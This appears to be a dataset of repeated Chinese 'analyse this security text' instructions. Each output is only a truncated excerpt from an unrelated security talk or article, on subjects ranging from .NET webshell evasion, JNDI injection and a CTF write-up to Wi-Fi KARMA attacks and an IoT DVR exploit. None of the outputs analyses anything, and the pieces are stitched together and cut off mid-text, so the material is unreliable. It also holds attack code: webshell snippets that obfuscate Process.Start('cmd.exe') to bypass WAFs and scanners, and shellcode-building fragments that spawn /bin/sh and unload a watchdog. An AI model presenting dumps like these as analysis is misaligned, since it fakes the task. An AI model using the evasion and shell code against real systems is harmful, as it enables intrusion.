Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.NET WebShell 免杀系列Ⅱ之 Tricks 分享
Ivan1ee@dotNet 安全矩阵
[ dotNet 安全矩阵] —— 聚焦于微软.NET 安全技术，关注基于.NET
衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET 代码审计、
最新的.NET 漏洞分析、反序列化漏洞研究、有趣的.NET 安全
Trick、.NET 开源软件分享、. NET 生态等热点话题，愿你能在这里学
到实在的干货，共同推动.NET 安全氛围卷起来。
配套的[ dotNet 安全矩阵]知识星球优惠活动持续进行，每天只需要 1
块钱不到，就可以让自己从.NET 小白成为高手，因为星球里的资料
和教程很少在市面上广泛传播，价值完全划算，还可以获得阿里、蚂
蚁、字节等大厂内推实习或社招岗位的机会，欢迎对.NET 感兴趣的
小伙伴们加入我们，一起做一件有情有意义的事。
0x01 背景
.NET WebShell 绕过和免杀的方法系列第二季开始啦，接上季走硬刚 Unicode
编码绕过的方式 Bypass 主流的 webshell 查杀工具之后，本文介绍几种特殊的
免杀和绕过技巧，有助于在实战中对抗 WAF 等安全产品，希望能帮助到大
伙。
0x02 技巧一符号
2.1 逐字标识符
@符号在.NET 字符中有着特殊的意义，把“@”放在一个字符串前面，表示后面是一个逐字
字符串，@符号的这个特点使得在表示系统文件路径时很方便，就可以不再需要转义符。
使用@字符后无法在字符串中插入有效的换行符(\n)或制表符(\t)，因为将被当成正常字符
串输出。例如以下 Demo
另外还可以转义.NET 平台保留的关键词，如 Class、NameSpace、int 等，参考如下
Demo
string filepath = "C:\\Program Files\\wmplayer.exe"; => C:\Program Files\wmplayer.exe
string filepath = @"C:\Program Files\wmplayer.exe"; => C:\Program Files\wmplayer.exe
string filename = @"dotNet\tFile";  => dotNet\tFile
既然@字符可以做这么多有趣的事，咱们就研究下利用它绕过某些安全产品的防护规则，
笔者在 Process 类完整的命名空间处每个点之间都加上@符，如下
2.2 内联注释符
在.NET 项目中单个 aspx 页面里支持使用内联注释符 /**/ , 此符号只会注释掉两个*号之间
的内容，利用此特点也可以在类完全限定名每个点之间加上内联注释，如下
namespace @namespace
{
  class @class {
        public static void @static(int @int)  {
            if (@int > 0) {
                 System.Console.WriteLine("Positive Integer");     }
            else if (@int == 0)  {
                 System.Console.WriteLine("Zero");    }
            else  {
                 System.Console.WriteLine("Negative Integer");  }
         }
     }
}
<script runat="server" language="c#">
public void Page_load(){
    @System.@Diagnostics.@Process.@Start("cmd.exe","/c mstsc");
}
</script>
<%@
Page
Language="C#"
ResponseEncoding="utf-8"
trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
    public void Page_load()
    {System/**/.Diagnostics./**/Process/**/.Start("cmd.exe","/c calc");}
</script>
0x0...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

2022*CTF-Web
写在前⾯
XCTF国际赛系列⼀直不错，周末参与了下这次⽐赛，虽然没有Java但总体还是蛮有意思
这⾥没按题⽬顺序写，只是写了在我⼼中从上到下的排序，对有源码的题⽬做了备份
oh-my-lotto
链接: https://pan.baidu.com/s/1G53aYqIIbHGlowdWFhkKqw  提取码: oism
oh-my-lotto
⼼⽬中⽐较有趣的⼀题呗，重⽣之我是赌神
这是⼀个⾮预期，因为后⾯又上了个revenge，简单分析下题⽬，先看看docker内容，可以知
道⼤概的结构
version: "3"
services:
  lotto:
    build:
      context: lotto/
      dockerfile: Dockerfile
    container_name: "lotto"
之后看看代码，这⾥⾯有三个路由，从短到长
⾸先result路由返回 /app/lotto_result.txt ⽂件内容结果
forecast 路由可以上传⼀个⽂件保存到 /app/guess/forecast.txt
  app:
    build:
      context: app/
      dockerfile: Dockerfile
    links:
      - lotto
    container_name: "app"
    ports:
      - "8880:8080"
@app.route("/result", methods=['GET'])
def result():
    if os.path.exists("/app/lotto_result.txt"):
        lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
    else:
        lotto_result = ''
    return render_template('result.html', message=lotto_result)
@app.route("/forecast", methods=['GET', 'POST'])
def forecast():
    message = ''
    if request.method == 'GET':
        return render_template('forecast.html')
    elif request.method == 'POST':
        if 'file' not in request.files:
            message = 'Where is your forecast?'
还有最关键的lotto路由(代码太多就不放完了)，可以
如果预测的值与环境随机⽣成的相等就能获得flag
        file = request.files['file']
        file.save('/app/guess/forecast.txt')
        message = "OK, I get your forecast. Let's Lotto!"
        return render_template('forecast.html', message=message)
os.system('wget --content-disposition -N lotto')
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
    elif request.method == 'POST':
        //看到flag从环境变量当中取出
        flag = os.getenv('flag')
        lotto_key = request.form.get('lotto_key') or ''
        lotto_value = request.form.get('lotto_value') or ''
        lotto_key = lotto_key.upper()
        if safe_check(lotto_key):
            os.environ[lotto_key] = lotto_value
            try:
                //从内⽹http://lotto当中获得随机值
                os.system('wget --conten...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Wesley McGrew
Assistant Research Professor
Mississippi State University
Department of Computer Science & Engineering
Distributed Analytics and Security Institute
Instrumenting Point-of-Sale
Malware
A Case Study in Communicating Malware Analysis More Effectively
Introduction
• The pragmatic and unapologetic offensive security guy
• Breaking things
• Reversing things
• Mississippi State University - NSA CAE Cyber Ops
• Enjoying my fourth year speaking at DEF CON
The Plan
• In general:
• Adopt better practices in describing and demonstrating
malware capabilities
• Proposal to supplement written analyses with illustration
that uses the malware itself
• What we’ll spend a good chunk of today’s session doing:
• Showing off some cool instrumented POS malware
• Talk about how you can do the same
Scientiﬁc Method

(the really important bits)
• Reproducibility
• Reasons:
• Verifying results
• Starting new analysis where old analysis left off
• Education of new reverse engineering specialists
• IOC consumers vs. fellow analysts as an audience
What’s often missing?
• Sample info
• Hashes
• Availability
• Procedure
• Subverting malware-
speciﬁc
countermeasures
• Context
• Redacted info on
compromised hosts
and C2 hosts
• Internal points of
reference
• Addresses of
functionality/data being
discussed
Devil’s Advocate:
Why it’s not there…
• Fellow analysts and students are not the target audience of many published
analyses
• We’re left to “pick” through for technically useful info
• Added effort - It’s a lot of work to get your internal notes and tools ﬁt for outside
consumption
• Analysis-consumer safety - preventing the reader for inadvertently infecting
• Client conﬁdentiality - Compelling. May be client-speciﬁc data in targeted malware
• Competitive advantage - public relations, advertising services, showcase of
technical ability
• Perhaps not in our best interest to allow someone to further it, do it better, or
worse: prove it wro...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

企业安全架构概述
An Introduction of Enterprise Security Architecture
北海之帝为忽，南海之帝为倏，中央
之帝为混沌。忽与倏时相与遇于混沌之地，
混沌待之甚善。忽与倏谋报混沌之德，曰：
“人皆有七窍，以视听食息，此独无有，尝
试凿之。”日凿一窍，七日而混沌死。
--
庄子.应帝王
一些问题
什么是企业安全架构
几种常见模型
企业安全架构实践
企业安全建设中的一些问题
•
如何保证与战略和业务一致性
•
如何体现价值交付
•
如何评估投入产出
•
大系统的复杂度
•
一处失效，全盘皆输？
•
如何避免重复投入
•
管理和技术脱节？
•
技术应用和运维失效
系统论与系统工程
＊SYSTEM APPROACH AND SYSTEM ENGINEERING
万事万物皆为系统
系统的定义：由若干要素以一定结构形式联结构
成的具有某种功能的有机整体。在这个定义中包
括了系统、要素、结构、功能四个概念。
整体性，结构性，关联性，动态平衡性，时序性
系统工程：通过系统解析的方法，分析要素与要
素、要素与系统、系统与环境三方面的关系，优
化解决问题。
组织战略(Why)
方针策略(What)
组织架构（Who）
标准指南(How)
战略
方针策略
组织架构、岗位职责
基线标准、操作手册、维护流程
控制活动、运行记录
控制措施(When，Where)
企业架构、管理体系、与企业安全架构
＊EA, ISMS AND ESA
企业架构 (Enterprise Architecture) ：
企业架构是构成组织的所有关键元素和关系的综合描述。企业架构框架（EAF）是一个描述企业架
构方法的蓝图，一种通过系统工程，综合全面的解析企业要素和关系，并改善问题的实践性方法。
分层结构：
企业业务架构（EBA，Enterprise Business Architecture）：组织结构、岗位职能和业务流程
企业信息架构（EIA，Enterprise Information Architecture）：数据结构和关系
企业应用架构（EAA，Enterprise Application Architecture）：应用系统
企业技术架构（ETA，Enterprise Technical Architecture ）：基础设施
•
ZAF: Zachman Framework
•
TOGAF: The Open Group Architecture Framework
•
FEAF: The Federal Enterprise Architecture Framework
•
DoDAF: The Department of Defense Architecture Framework
＊范例：ZACHMAN FRAMEWORK
Based on work by
John A. Zachman
VA Enterprise
Architecture
DATA
What
FUNCTION
How
NETWORK
Where
PEOPLE
Who
TIME
When
MOTIVATION
Why
DATA
What
FUNCTION
How
NETWORK
Where
PEOPLE
Who
TIME
When
MOTIVATION
Why
SCOPE
(CONTEXTUAL)
Planner
ENTERPRISE
MODEL
(CONCEPTUAL)
Owner
SYSTEM MODEL
(LOGICAL)
Designer
TECHNOLOGY
MODEL
(PHYSICAL)
Builder
DETAILED
REPRESENTATIONS
(OUT-OF-CONTEXT)
Sub-Contractor
FUNCTIONING
ENTERPRISE
SCOPE
(CONTEXTUAL)
Planner
ENTERPRISE
MODEL
(CONCEPTUAL)
Owner
SYSTEM MODEL
(LOGICAL)
Designer
TECHNOLOGY
MODEL
(PHYSICAL)
Builder
DETAILED
REPRESENTATIONS
(OUT-OF-CONTEXT)
Sub-Contractor
FUNCTIONING
ENTERPRISE
Things Important
to the Business
Entity = Class of
Business Thing
Processes
Performed
Function = Class of
Business Process
Semantic Model
Ent = Business Entity
Rel = Business...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

FOR THE LOVE OF MONEY
Finding and exploiting vulnerabilities in mobile point of sales
systems
LEIGH-ANNE GALLOWAY & TIM YUNUSOV
MPOS GROWTH
2010
Single vendor
2018
Four leading vendors
shipping thousands of units per day
Motivations
Motivations
MWR Labs “Mission mPOSsible” 2014
Related Work
Mellen, Moore and Losev “Mobile Point of Scam: Attacking the Square Reader” (2015)
Related Work
Research Scope
Research Scope
PAY PA L
S Q U A R E
I Z E T T L E
S U M U P
Research Scope
“How much security can really be embedded
in a device that is free?”
Research Scope
PHONE/SERVER
HARDWARE
DEVICE/PHONE
MOBILE APP
SECONDARY FACTORS
Research Scope
MERCHANT
ACQUIRER
CARD BRANDS
ISSUER
Background
MPOS
PROVIDER
ACQUIRER
CARD BRANDS
ISSUER
MERCHANT
MERCHANT
Background
CARD RISK BY OPERATION TYPE
Chip & PIN
Chip & Signature
Contactless
Swiped
PAN Key Entry
Background
EMV enabled POS devices make up between 90-95%
of POS population
E U  E M V  AC C E P TA N C E
EMV enabled POS devices make up 13% of POS
population and 9% of the ATM population
90%
13%
U S  E M V  AC C E P TA N C E
GLOBAL ADOPTION OF EMV - POS TERMINALS
Background
96% of credit cards in circulation support EMV as a
protocol
E M V  C R E D I T  C AR D  AD O P T I O N
However less than half of all transactions are made by
chip
E M V  C R E D I T  C AR D  U S AG E
96%
41%
Background
79% of debit cards in circulation support EMV as a
protocol
E M V  D E B I T  C AR D  AD O P T I O N
However less than half of all transactions are made
using chip
E M V  D E B I T  C AR D  U S AG E
79%
23%
Background
46%
52
MILLIO
N
PERCENTAGE OF TRANSACTIONS
MILLIONS OF NUMBER OF UNITS
MPOS TIMELINE 2019
Background
46%
52
SCHEMATIC OVERVIEW OF COMPONENTS
Background
FINDINGS
SENDING ARBITRARY COMMANDS
AMOUNT MODIFICATION
REMOTE CODE EXECUTION
HARDWARE OBSERVATIONS
SECONDARY FACTORS
Methods & Tools
BLUETOOTH
Methods & Tools
Host Controller Interface (HCI)
SOFTWARE
BT PROFILES, GATT/ATT
L2CAP
LINK MANAGER PROTOCOL (LMP)
BASEBAND
BLUETOOTH R...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

jndi注入高版本绕过与反序列化
昨天群里聊到这了，虽然都是炒冷饭，但有些细节可能分析清楚点也有好处。主要分析分三个部分
1、jndi注入的原理
2、jndi注入与反序列化的关系
3、jndi注入与jdk版本的关系
jndi注入的原理：
jndi是java用于访问目录和命名服务的 API。使用jndi进行查询本来是一个正常的功能，但由于实现时没
有考虑安全问题，如果查询恶意对象就会导致被攻击。但攻击的结果并不一定是rce。
jndi的查询大致可以分两步：
1、客户端请求一个命名服务并获取一个对象。
2、客户端解析这个对象。
那么漏洞出现在哪步呢？实际上是两步都有可能，因为jndi支持RMI、LDAP、CORBA、DNS四种协议，
每种都对应不同的实现，支持绑定的对象有序列化对象、引用对象、属性对象等。所以攻击路径很多，
漏洞也很多。
在攻击中常用的有jndi+rmi和jndi+ldap，实际上corba也可以用于攻击，但基本能用corba打的都能用
rmi打，并且流程很啰嗦。所以这里就分析这jndi+rmi和jndi+ldap两种实现。
jndi+rmi
关键代码在RegistryContext#lookup
可以看到第一步，远程对象obj是通过原生rmi的lookup获取的，了解rmi的就知道是通过反序列化获取
的。实际上如果系统里有gadget，这一步反序列化的时候就可以导致代码执行了。
然后第二步，在decodeObject里面对获取到的对象进行了解析，
逻辑在RegistryContext#decodeObject里面
    public Object lookup(Name name) throws NamingException {
        if (name.isEmpty()) {
            return (new RegistryContext(this));
        }
        Remote obj;
        try {
            obj = registry.lookup(name.get(0));
        } catch (NotBoundException e) {
            throw (new NameNotFoundException(name.get(0)));
        } catch (RemoteException e) {
            throw (NamingException)wrapRemoteException(e).fillInStackTrace();
        }
        return (decodeObject(obj, name.getPrefix(1)));
    private Object decodeObject(Remote r, Name name) throws NamingException {
        try {
            Object obj = (r instanceof RemoteReference)
                        ? ((RemoteReference)r).getReference()
注释里写的很明白，如果com.sun.jndi.rmi.object.trustURLCodebase为true就可以通过codebase加载
任意远程类，导致代码执行。这个校验是在jdk8u121开启的，并且是加在RegistryContext里面的，也
就是只对了jndi的rmi实现作了限制，所以后续才会有ldap的绕过。
然后调用的是NamingManager.getObjectInstance，这个函数就是前面说的所谓的解析远程对象的函
数。
                        : (Object)r;
            /*
             * Classes may only be loaded from an arbitrary URL codebase when
             * the system property com.sun.jndi.rmi.object.trustURLCodebase
             * has been set to "true".
             */
            // Use reference if possible
            Reference ref = null;
            if (obj instanceof Referenc...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

报告初稿完成时间：2017 年 1 月 13 日 16 时 00 分
首次发布时间：2017 年 1 月 16 日 10 时 00 分
本版本更新时间：2017 年 1 月 25 日 14 时 30 分
方程式组织 EQUATION DRUG 平台解析
——方程式组织系列分析报告之四
安天安全研究与应急处理中心（Antiy CERT）
目 录
1
本版本更新小语 ................................................................................................................................................... 1
2
背景...................................................................................................................................................................... 1
3
方程式线索曝光和分析成果时间链梳理 ............................................................................................................. 2
4
DANDERSPRITZ 攻击平台 ..................................................................................................................................... 4
5
部分组件与插件分析（继续完善中）................................................................................................................ 11
5.1
PROCESSINFO 插件遍历进程模块 ........................................................................................................................ 13
5.2
KILL_IMPLANT 插件杀进程模块 ........................................................................................................................... 16
5.3
GROK 键盘与剪贴版记录器驱动 ..................................................................................................................... 16
6
小结..................................................................................................................................................................... 20
附录一：参考资料 ...................................................................................................................................................... 22
附录二：关于安天 ...................................................................................................................................................... 24
方程式组织 EQUATION DRUG 平台解析
©安天版权所有，欢迎无损转载
第 1 页
1 本版本更新小语
安天在此前发布的报告版本的基础上，增加了一个方程式组织主机作业的模块积木图。这个积木图...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Web
Privacy
and

Adobe
Local
Shared
Objects

(and
other
things
you
should
know)

Clinton
Wong

clinton.defcon@gmail.com

Defcon
16,
August
2008

These
slides
are
obsolete

•  This
is
the
presentaKon
included
on
the

Defcon
16
CD.

•  Check
the
Defcon
web
site
for
the
latest

version
of
this
talk.

This
Talk
Isn’t
About
Anything
New

According
to
hPp://en.wikipedia.org/wiki/Local_Shared_Object:

“Flash
Player
[…]
does
not
ask
the
user's

permission
to
store
data
permanently.
This

may
consKtute
a
collecKon
of
cookie‐like
data

that
may
include
not
only
user‐tracking

informaKon
but
any
personal
data
that
the

user
has
entered
in
any
Flash‐enabled

applicaKon”

Public
Service
Announcement

•  Things
you
should
know
but
probably
don’t.

•  How
do
I
manage
LSOs?

•  What
else
should
I
do
diﬀerently?

HTTP
Cookies
Are
Well
Understood

It’s
2008,
everyone
knows
about
“cookies”.

IETF
standards:

•  HTTP/1.1
:
RFC
2616

•  HTTP
Cookies:
RFC
2109

Let’s
take
a
look
at
that…

Web
Browser
Sends
This…

GET
hPp://www.google.com/
HTTP/1.1

User‐Agent:
Mozilla/5.0
(Macintosh;
U;
Intel
Mac
OS
X
10_5_3;

en‐us)
AppleWebKit/525.18
(KHTML,
like
Gecko)
Version/3.1.1

Safari/525.20

Accept‐Encoding:
gzip,
deﬂate

Accept:
text/xml,applicaKon/xml,applicaKon/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5

Accept‐Language:
en‐us

Host:
www.google.com

ConnecKon:
close

Web
Server
Replies
With
This…

HTTP/1.0
200
OK

Cache‐Control:
private,
max‐age=0

Date:
Thu,
26
Jun
2008
04:18:25
GMT

Content‐Type:
text/html;
charset=UTF‐8

Set‐Cookie:
PREF=ID=a2bce[…]


keep
this
in
mind
for
next
slide

domain=.google.com

Content‐Encoding:
gzip

Server:
gws

Content‐Length:
2654

…

Web
Browser
Subsequently
Sends
This…

GET
hPp://www.google.com/favicon.ico
HTTP/1.1

User‐Agent:
Mozilla/5.0
(Macintosh;
U;
Intel
Mac
OS
X
10_5_3;
en‐us)

AppleWebKit/525.18
(KHTML,
like
Gecko)
Version/3.1.1
Safari/525.20

Referer:
hPp://www.google.com/

Accept:
*/*

Accept‐Language:
en‐us

Accept‐Encoding...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Download from finelybook 7450911@qq.com
2
Microsoft Visual C# Step by Step
Ninth Edition
John Sharp
Download from finelybook 7450911@qq.com
3
Microsoft Visual C# Step by Step, Ninth Edition
Published with the authorization of Microsoft Corporation by: Pearson
Education, Inc.
Copyright © 2018 by Pearson Education, Inc.
All rights reserved. This publication is protected by copyright, and
permission must be obtained from the publisher prior to any prohibited
reproduction, storage in a retrieval system, or transmission in any form or by
any means, electronic, mechanical, photocopying, recording, or likewise. For
information regarding permissions, request forms, and the appropriate
contacts within the Pearson Education Global Rights & Permissions
Department, please visit www.pearsoned.com/permissions/. No patent
liability is assumed with respect to the use of the information contained
herein. Although every precaution has been taken in the preparation of this
book, the publisher and author assume no responsibility for errors or
omissions. Nor is any liability assumed for damages resulting from the use of
the information contained herein.
ISBN-13: 978-1-5093-0776-0
ISBN-10: 1-5093-0776-1
Library of Congress Control Number: 2018944197
1 18
Trademarks
Microsoft and the trademarks listed at http://www.microsoft.com on the
“Trademarks” webpage are trademarks of the Microsoft group of companies.
All other marks are property of their respective owners.
Warning and Disclaimer
Every effort has been made to make this book as complete and as accurate as
possible, but no warranty or fitness is implied. The information provided is
on an “as is” basis. The author, the publisher, and Microsoft Corporation
Download from finelybook 7450911@qq.com
4
shall have neither liability nor responsibility to any person or entity with
respect to any loss or damages arising from the information contained in this
book.
Special Sales
For information about buying this title in bulk quantities, or for s...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1"
2"
3"
7"
8"
9"
10"
11"
12"
This"is"how"networks"show"up"in"your"network"list"when"searching"for"wiﬁ"networks"
on"your"device."
13"
When"you"join"a"network,"this"interacCon"happens."
14"
15"
16"
KARMA"aKacks"do"exactly"the"same"thing"as"a"normal"associaCon,"it’s"just"an"evil"AP"
instead"of"the"actual"AP"doing"it."
17"
18"
19"
20"
This"is"why"KARMA"aKacks"weren’t"working"well,"we"weren’t"responding"to"the"
broadcast"probes.""
21"
22"
23"
In"trying"to"ﬁgure"out"the"issue,"we"went"to"the"place"we"should"always"see"probes,"
hidden"networks."Hidden"networks"don’t"return"the"ESSID"in"response"to"broadcast"
probes."
24"
The"AP"only"gives"up"it’s"name"if"the"device"probes"for"it"speciﬁcally"(i.e."you"must"
know"the"name"already)."
25"
26"
This"means"that"iOS"devices"are"passively"looking"for"beacons"from"hidden"networks."
Why"not"do"that"for"all"networks?"
27"
28"
29"
30"
31"
Probe"responses"contain"a"ﬂag"indicaCng"whether"they"are"WEP,"WPA/2"PSK,"WPA/2"
EAP"etc."This"is"used"as"part"of"the"“uniqe”"match"for"PNL"networks."
32"
33"
This"speciﬁc"part"is"sCll"under"heavy"tesCng"at"the"Cme"of"wriCng."
34"
We"don’t"have"the"creds."But,"we"can"have"our"rogue"AP"act"as"a"WPA/2"network"and"
send"the"ﬁrst"packet,"and"we"capture"the"second."We"don’t"have"the"right"key,"and"
can’t"generate"the"Temporal"key,"but"we"have"anonce"and"snonce"and"a"MIC"from"
the"client,"so"we"can"aKempt"to"brute"the"key"unCl"we"can"generate"a"MIC"for"the"
snonce"that"matches"the"clients."Josh"Wright’s"coWPAKy"tool"ﬁrst"did"this."
35"
With"EAP,"we"have"a"similar"problem,"but"if"the"client"isn’t"validaCng"correctly,"we"
can"MitM."EAP"TLS"is"mutually"authenCcated"so"we"can’t"here"(just"included"for"a"
simpler"decripCon)."
36"
We"can"MitM"PEAP"and"PEAPdlike"EAPs"most"of"the"Cme."This"is"because"most"
conﬁguraCons"don’t"validate"the"server"cert,"and"even"when"they"do,"there"is"no"CN"
name"match,"it’s"purely"on"authority."A"successful"MitM"gets"up"an"MSCHAPv2"
challenge"response"(depending"on"setup).""
37"
38"
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Achieve More.
SanDisk Confidential
1
June 23, 2011
Economics of
Password
Cracking in the
GPU Era
8/3/2011
Robert Imhoff-
Dousharm
SanDisk Confidential
2
2
June 23, 2011
Overview
 Introduction
 GPU Cracking
 Economics
 Deployment Explained
 Lessons Learned
 Conclusion
 Q/A
SanDisk Confidential
3
3
June 23, 2011
Shameless Plugs…
 Atheros Communications
§  Initial research time and funds
 SanDisk Corporation
§  Continued time and funds
 People of earth
§  “Acting Human”
 Electricity
§  Provides the “path of least resistance”
 Vegas 2.0 – dc949 – CuckooNest
SanDisk Confidential
4
4
June 23, 2011
About me…
 Research and technical – IT Security
§  4 years Credit card security (see DEF CON 11-13)
§  3 years code IDPS research
§  2 years GPGPU password cracking
 Suit and Tie
§  12 years working experience with IT Security
§  Developer – Researcher – SOC Analyst – Response –
Tactical – Holistic
 Private Hack Space
§  We have tree’s and servers to muse over
SanDisk Confidential
5
5
June 23, 2011
Overview:
Introduction
SanDisk Confidential
6
6
June 23, 2011
Introduction
 What is General Computing?
§  GPU vs SSEx vs. HPC
§ CUDA and OpenCL (not GL)
§  What is the current state of GC and HPC?
§ Top500
 Cloud Computing
§  Amazon AWC / EC2
§  Nimbix
§  Peer1 Hosting
§  Penguin Computing
SanDisk Confidential
7
7
June 23, 2011
Introduction
 Distributed Technologies
§  distributed.net
§  Folding@home
§  SETI@home
§  BitCoin
SanDisk Confidential
8
8
June 23, 2011
Overview:
GPU Cracking
SanDisk Confidential
9
9
June 23, 2011
GPU Cracking – Hardware
 NVidia vs. ATI
§  GTX 590
§ 1024 Cores * 8 Cell = 8,192 “streams”
§  Radeon HD5870
§ 1,600 “Cores” == 1,600 Streams
 CUDA vs. Stream vs. OpenCL
§  CUDA == R.A.D
§  Stream == Piss poor documents
§  OpenCL == Wave of future (sorry CUDA)
SanDisk Confidential
10
10
June 23, 2011
GPU Cracking – Software
 Cur...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Windows Offender:
Reverse Engineering
Windows Defender's
Antivirus Emulator
Alexei Bulazel
@0xAlexei
DEF CON 26
About Me
● Security researcher at ForAllSecure
● Firmware RE & cyber policy at River Loop Security
● RPI / RPISEC alumnus
● First time speaking at DEF CON!
@0xAlexei
This is my personal research, any views and opinions
expressed are my own, not those of any employer
This Presentation Is...
● A deeply technical look at
Windows Defender
Antivirus’ binary emulator
internals

● As far as I know, the first
conference talk about
reverse engineering any
antivirus software’s binary
emulator
This Presentation Is...
● A deeply technical look at
Windows Defender
Antivirus’ binary emulator
internals

● As far as I know, the first
conference talk about
reverse engineering any
antivirus software’s binary
emulator
This Presentation Is Not…
● An evaluation of Windows
Defender Antivirus’
efficacy as an antivirus
product

● Related to Windows
Defender ATP, or any
technologies under the
Windows Defender name
Outline
1. Introduction
a. Background
b. Introduction to Emulation
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Why Windows Defender Antivirus
Windows’ built-in antivirus software:
●
Now the “Defender” name covers multiple mitigations and security
controls built into Windows
●
This presentation is about Windows Defender Antivirus, not Windows
Defender ATP, Application Guard, Exploit Guard, etc…
Why Windows Defender Antivirus
● Huge AV market share - “8% of systems running Windows 7 and
Windows 8 are running Windows Defender and more than 50% of
Windows 10 devices”*
*windowsreport.com/windows-defender-enterprise-antivirus/
Windows’ built-in antivirus software:
●
Now the “Defender” name covers multiple mitigations and security
controls built into Windows
●
This presentation is about Windows Defender Antivirus, not Windows
Defender ATP, Application Guard, Exploit Guard, etc…
Why Window...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Nir Valtman, CISSP
Blog: www.valtman.org
Twitter: @ValtmaNir
Bug Bounty Programs Evolution
2
I’m an architect
Zombies!!!
5
Defacement
6
AntiDef
OPEN SOURCE
Memory Scraper
Secure TDD
Research Bug Bounty
Programs Since 2011
Academy
Final Project
If you can’t beat them, join them!
Not cost-effective
Virtual
Environment
Bounty
Hunter
Safe Bug
Bounty
Program
Shay Fainberg
Ideas worth spreading
The Evolution
Bounty Hunters in Real Life
Terms & Conditions
Successful
Kill
$
Successful
Kill
Good
Reputation
Targets
Politicians
VIP
Men
Women
Kids
Animals
Hit men
st
“...REFINE BETA VERSIONS
AND ENSURE HIGHEST
QUALITY SOFTWARE”
Winners Awards
Success || Failure
Story?
Success
2004
Perspectives on Bug
Bounty Programs
Business
Bounty Hunter
Business
Start Your Own Online Program
Technology
Operations
Legal
Start Your Own Online Program
Technology
Operations
Legal
Handle heavy traffic
Start Your Own Online Program
Technology
Operations
Legal
Stronger IPS
Start Your Own Online Program
Technology
Operations
Legal
Stronger WAF
Start Your Own Online Program
Technology
Operations
Legal
Bugs Management
Incident Response
Start Your Own Online Program
Technology
Operations
Legal
Liability
Self-Owned
External
External
A-TEAM
External
Identity
Verification
External
External
Traffic
Shaping
Benefits
Concerns
Benefits
Payment Models
Real-World Hacking Scenario
Security Leader Positioning
Benefits
Concerns
Concerns
Production
Test
Sensitive
Data
Leakage
Denial
of
Service
Black Hats
Detection
Company’s
Perimeter
Non-security
Bugs
Handling
Side
Effects
Minimize
Exposure
Time
Perspectives on Bug
Bounty Programs
Business
Bounty Hunter
Bounty Hunter
Motivation
Frustration
Name: Oren Hafif
Source: www.orenh.com
Case Study
Actual Risk
Exposing all hosted email
addresses in Google
1st Response
DENIED!
2nd Response
$500 Reward
Next Generation Bug Bounty Programs
Minimize Production Risks
Minimize Production Risks
Allow Penetration
Tests
Prevent Malicious
Exploitation
Minimize Produ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

From Dvr to See
Exploit of IoT Device
0K5y
Nobody@360GearTeam
1559113201 Date
Larryxi
Nobody@360GearTeam
What’s time
0x00 目录
0x01 前言闲谈
0x02 漏洞挖掘
0x03 环境调试
0x04 漏洞利用
0x05 总结反思
0x01 前言闲谈
有朋自远方来
IoT 四层模型
IoT 现状问题
IoT 利用架构
IoT 攻击思维
0x02 漏洞挖掘
环境前瞻
获取固件的十种方法
软件层面
硬件层面
前瞻发现
`etc/init.d/S99` 中注释掉了`telnetd`
`/etc/passwd` 中存在硬编码弱口令
`file /bin/busybox` 可知架构为 armel
一般思路
Web端命令注入或者通过溢出远程代码执行
寻找相关shell口并使用弱口令登录
0x02 漏洞挖掘
Web 漏洞
虽有登录失败重定向，但在burp中能看到后台静态资源
身份在url中传递，实时动态获取后端资源
有些cgi存在未授权访问，可得到相关配置文件
有些cgi可执行特定的指令，如reboot
并无卵用
0x02 漏洞挖掘
缓冲区溢出
0x02 漏洞挖掘
缓冲区溢出
0x03 调试环境
获取调试接口
没有命令注入也就无法得到shell进行远程调试
虽有UART接口但只输出日志信息
通过修改u-boot的init参数，没有实际效果
面临问题
REPACKING
0x03 调试环境
获取调试接口
Round One
0x03 调试环境
获取调试接口
Round Two
0x03 调试环境
获取调试接口
Fight
0x03 调试环境
交叉编译环境
gdbserver-7.7 + gdb-multiarch-7.12 = 踩坑
gdbserver-7.11 + gdb-multiarch-7.12 = 真香
0x04 漏洞利用
安全机制
No GS
No NX
ASLR 为1, uClibc 地址确实被随机化
Vectors 段的地址是固定的
Watchdog 以内核模块的形式存在
0x04 漏洞利用
安全机制
0x04 漏洞利用
利用方案
在函数返回之前得到异
常报错
strcasestr 的haystack参
数被payload中数据覆盖
使用vectors段中可读的
固定地址
0x04 漏洞利用
利用方案
由于截断, 无法在代码段找到完美的 one-gadget
在vectors 段中寻找gadget也是收效甚微
0x04 漏洞利用
利用方案
绕过 ASLR
Information leak: http响应信息限制得比较死，不像串口
会输出串口信息
Violent hacking: 程序打崩后watchdog就重启系统
Heap spray: 可以尝试一下多线程的处理效果，希望不大
0x04 漏洞利用
利用方案
逆向Http处理过程
0x04 漏洞利用
利用方案
逆向Http处理过程
0x04 漏洞利用
利用方案
重视漏洞环境
0x04 漏洞利用
利用方案
Two Pops Jump to `GET /cgi-bin/xxx.cgi?p=xxx HTTP/1.1\r\n`
0x04 漏洞利用
Shellcode 构造
Badchar and Nop
`\x00\x0d\x0a\x20`and `GETB`
0x04 漏洞利用
Shellcode 构造
Play With Execve
#include <unistd.h>
int main(void) {
execve("/bin/sh", 0, 0);
return 0;
}
#include <unistd.h>
int main(void) {
char* argv[] = {"busybox", "rmmod", "wdt", 0};
execve("/bin/busybox", argv, 0);
return 0;
}
0x04 漏洞利用
Shellcode 构造
Learn From Pwnlib
eor.w r7, r7, r7     \x87\xea\x07\x07
push {r7}            \x80\xb4
